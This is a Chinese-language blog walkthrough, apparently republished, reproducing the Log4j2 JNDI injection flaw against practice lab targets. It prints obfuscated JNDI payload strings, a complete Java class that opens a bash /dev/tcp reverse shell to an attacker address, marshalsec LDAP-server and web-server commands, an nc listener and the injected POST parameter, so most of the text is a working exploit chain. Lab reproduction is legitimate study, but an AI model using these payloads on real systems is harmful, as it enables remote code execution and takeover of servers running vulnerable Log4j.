Apache Log4j2漏洞復現-反彈shell


0X00-引言


過年了,放炮

這個漏洞真牛逼,日天,日地,日空氣

2021年12月10日凌晨,我正坐在馬桶上,突然看到廁紙上面出現一串神秘代碼${jndi:ldap://kao5b1ig.ns.dns3.cf.} ,我趕緊起身,打開電腦一看,網頁dnslog彈出記錄,我大驚,緊接着,我的手機,耳機,甚至我的台燈都彈出這串神秘代碼。我踉蹌的后退一步,心中默念,完了,完了,世界將長久苦於這串代碼。

僅供學習參考,不得用於違法途徑,一切行為與博主無關

0X01-環境搭建


靶場:

http://d63bb2586.lab.aqlab.cn/

CentOS7

vulfocus

攻擊機:kali VPS

工具:burpsuite marshalsec-0.0.3-SNAPSHOT-all.jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 下文有下載鏈接

0X02-漏洞描述


360漏洞雲:https://mp.weixin.qq.com/s/V4oSpmdIrlxPSsrpUXMNLA

Apache Log4j 是 Apache 的一個開源項目,Apache Log4j2是一個基於Java的日志記錄工具。該工具重寫了Log4j框架,並且引入了大量豐富的特性。我們可以控制日志信息輸送的目的地為控制台、文件、GUI組件等,通過定義每一條日志信息的級別,能夠更加細致地控制日志的生成過程。該日志框架被大量用於業務系統開發,用來記錄日志信息。

Log4j-2中存在JNDI注入漏洞,當程序將用戶輸入的數據被日志記錄時,即可觸發此漏洞,成功利用此漏洞可以在目標服務器上執行任意代碼。

經360漏洞雲安全專家研判,log4j2是全球使用廣泛的java日志框架,同時該漏洞還影響很多全球使用量的Top序列的通用開源組件,例如 Apache Struts2、Apache Solr、Apache Druid、Apache Flink等。該漏洞利用方式簡單,危害嚴重,官方已經發布該產品的最新版本,建議用戶盡快升級組件,修復緩解該漏洞。Apache Log4j 是 Apache 的一個開源項目,Apache Log4j2是一個基於Java的日志記錄工具。該工具重寫了Log4j框架,並且引入了大量豐富的特性。我們可以控制日志信息輸送的目的地為控制台、文件、GUI組件等,通過定義每一條日志信息的級別,能夠更加細致地控制日志的生成過程。該日志框架被大量用於業務系統開發,用來記錄日志信息。

payload變種

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1099/ass}
${${::-j}ndi:rmi://127.0.0.1:1099/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

0X03-漏洞復現


01-CentOS搭建靶場反彈shell

01-搭建靶場和下載工具

參考:https://github.com/fengxuangit/log4j_vuln

下載工具:后面用

https://github.com/RandomRobbieBF/marshalsec-jar

靶場搭建-大佬寫的-直接在虛擬機運行以下命令就可以

docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln 
docker exec -it log4j_vuln_container /bin/bash
/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh 

訪問:http://192.168.234.128:8080/webstudy/hello-fengxuan

image-20211214213942055

burp抓包修改為POST方法

image-20211214214050945

02-編寫惡意類-開啟Web服務

EXP:注意反彈shell用bash -i >& /dev/tcp/ip/port 0>&1不可以,需要用exec

public class Exploit {
   public Exploit(){
       try{
           // 要執行的命令
           String[] commands = {"bash","-c","exec 5<>/dev/tcp/192.168.234.135/12345;cat <&5 | while read line; do $line 2>&5 >&5; done"};
           Process pc = Runtime.getRuntime().exec(commands);
           pc.waitFor();
      } catch(Exception e){
           e.printStackTrace();
      }
  }

   public static void main(String[] argv) {
       Exploit e = new Exploit();
  }
}

javac編譯-我把下載的工具都放在一個文件夾內

image-20211214215434781

開啟web服務

python3 -m http.server 888  #python3中開啟web服務
python -m SimpleHTTPServer 888 #python2

image-20211214215645743

訪問

image-20211214215938459

03-工具開啟LDAP服務

映射端口888為1234

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.234.135:888/#Exploit" 1234

image-20211214220112912

04-反彈shell

開啟nc監聽

nc  -lvvp  12345

image-20211214220256663

burp修改包添加payload-發送

POST參數為c

c=${jndi:ldap://192.168.234.135:1234/Exploit}

image-20211214220446604

成功彈出shell

image-20211214220533689

02-掌控安全靶場反彈shell

使用VPS做攻擊機

靶場:http://d63bb2586.lab.aqlab.cn/若是關閉了-自己進入掌控安全首頁開啟-之前的靶場-可以用

01-dnslog記錄

POC:

${jndi:ldap://example.com}  

打開DNSLOG平台:https://dns.咕.com/ 或 dnslog.cn/

image-20211211215708639

打開靶場:http://d63bb2586.lab.aqlab.cn/

image-20211211215358537

點擊提交

image-20211211215650197

DNS平台出現記錄-驗證漏洞存在

image-20211211215825533

02-靶場反彈shell

EXP:注意修改IP

public class Exploit {
   public Exploit(){
       try{
           // 要執行的命令
           String[] commands = {"bash","-c","exec 5<>/dev/tcp/192.168.234.135/12345;cat <&5 | while read line; do $line 2>&5 >&5; done"};
           Process pc = Runtime.getRuntime().exec(commands);
           pc.waitFor();
      } catch(Exception e){
           e.printStackTrace();
      }
  }

   public static void main(String[] argv) {
       Exploit e = new Exploit();
  }
}

VPS執行命令-和kali流程一樣

上傳文件-編譯

python -m SimpleHTTPServer 888  #開啟web服務
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://vpsIP:888/#Exploit" 1234  #開啟LDAP服務
nc -lvvp 12345  #監聽

payload:

${jndi:ldap://VPSIP:1234/Exploit}

image-20211214222831908

成功彈出shell

image-20211214222915496

03-vulfocus靶場反彈shell

攻擊機VPS-和上面操作有些區別

此種操作不適合上面兩個靶場-個人感覺原因是惡意類中反彈shell命令不一樣-但是我把命令更換之后還是不行,淦

換一種工具下載鏈接如下

https://github.com/d-rn/vulBox/blob/main/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
01-進入靶場

image-20211214223418853

image-20211214223443695

02-反彈shell命令編碼

網站:https://www.jackson-t.ca/runtime-exec-payloads.html

image-20211214224903608

03-VPS執行命令
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "以上編碼后的命令放入這里" -A "VPSIP"

image-20211214225152573

上圖生成紫紅色的鏈接每個都試一下

開啟監聽

burp抓包-修改-發送

image-20211214225519266

04-反彈成功

image-20211214225608214

0X04-工具檢測


Log4j 遠程代碼執行漏洞多線程批量檢測利用工具

0X05-免責聲明


僅供學習參考,勿用於非法用途!

一切的一切與本作者無關

0X06-失敗原因


JDK版本有問題

jdk對比

彈不了shell可能因為防火牆,也可能因為惡意類中反彈shell命令

0X07-參考


https://mp.weixin.qq.com/s/JtNoGVpDlom1kC3h9CoLTQ

反彈shell

反彈shell的各種姿勢

https://zhuanlan.zhihu.com/p/443640671

https://github.com/fengxuangit/log4j_vuln

https://mp.weixin.qq.com/s/JtNoGVpDlom1kC3h9CoLTQ

https://mp.weixin.qq.com/s/FOFLY4kDb42LGcEHN0vKmQ

https://mp.weixin.qq.com/s/W7kajN3GKKlK-C41N4re4g

https://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM